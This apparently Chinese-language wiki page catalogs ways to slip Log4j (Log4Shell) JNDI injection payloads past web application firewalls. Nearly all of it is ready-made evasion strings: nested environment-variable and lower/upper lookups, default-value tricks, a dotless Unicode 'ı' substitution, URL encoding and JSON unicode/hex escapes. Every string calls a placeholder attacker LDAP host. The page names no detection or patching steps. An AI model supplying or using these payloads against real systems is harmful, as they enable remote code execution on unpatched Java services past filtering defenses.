Skip to content

Categories

Tags

On this page

log4j WAF绕过方式

系统环境变量

${${env:ENV_NAME:-j}ndi${env:ENV_NAME:-:}${env:ENV_NAME:-l}dap${env:ENV_NAME:-:}//somesitehackerofhell.com/z}

来自 Apache Log4j 2 文档:${env:ENV_NAME:-default_value}

如果没有 ENV_NAME 系统环境变量,则使用 :- 后面的变量;攻击者可以使用任何名称代替 ENV_NAME,但它必须是不存在的环境变量。

Lookup方法:Lower / Upper

${${lower:j}ndi:${lower:l}${lower:d}a${lower:p}://somesitehackerofhell.com/z}
${${upper:j}ndi:${upper:l}${upper:d}a${lower:p}://somesitehackerofhell.com/z}
  • Lower Lookup 会将传入的参数转换为小写,嵌套形式如下:
    • ${lower:}
  • Upper Lookup 会将传入的参数转换为大写,嵌套形式如下:
    • ${upper:}

"::-" 符号

${${::-j}${::-n}${::-d}${::-i}:${::-l}${::-d}${::-a}${::-p}://somesitehackerofhell.com/z}

同系统环境变量部分。

":-" 符号

${j${${:-l}${:-o}${:-w}${:-e}${:-r}:n}di:ldap://somesitehackerofhell.com/z}

无效的Unicode字符

${jnd${upper:ı}:ldap://somesitehackerofhell.com/z}

这里的 ı(\u0131) 不是 i(\x69)和I(\x49),经过 upper 就会转变成 I,从而绕过了 jndi 关键词的拦截。

HTML编码

} with %7D
{ with %7B
$ with %24

unicode / hex 编码特性

虽然这个范围有点大可能会产生一些误报,但鉴于漏洞的严重性还是有很多人建议拦截 ${ 但这样也未必能够真正的解决,因为漏洞的触发点是在打印日志的时候把可控内容携带进去了。现在随着 JSON 数据格式的流行,很多系统都在使用 JSON 处理参数,JSON 处理库用的最多的就数 Jackson和fastjson。而 Jackson 和 fastjson 又有 unicode 和 hex 的编码特性,如:

{"key":"\u0024\u007b"}
{"key":"\x24\u007b"}

这样就避开了数据包中有 ${ 的条件。

参考资料

Edit this page
Last updated on 4/9/2023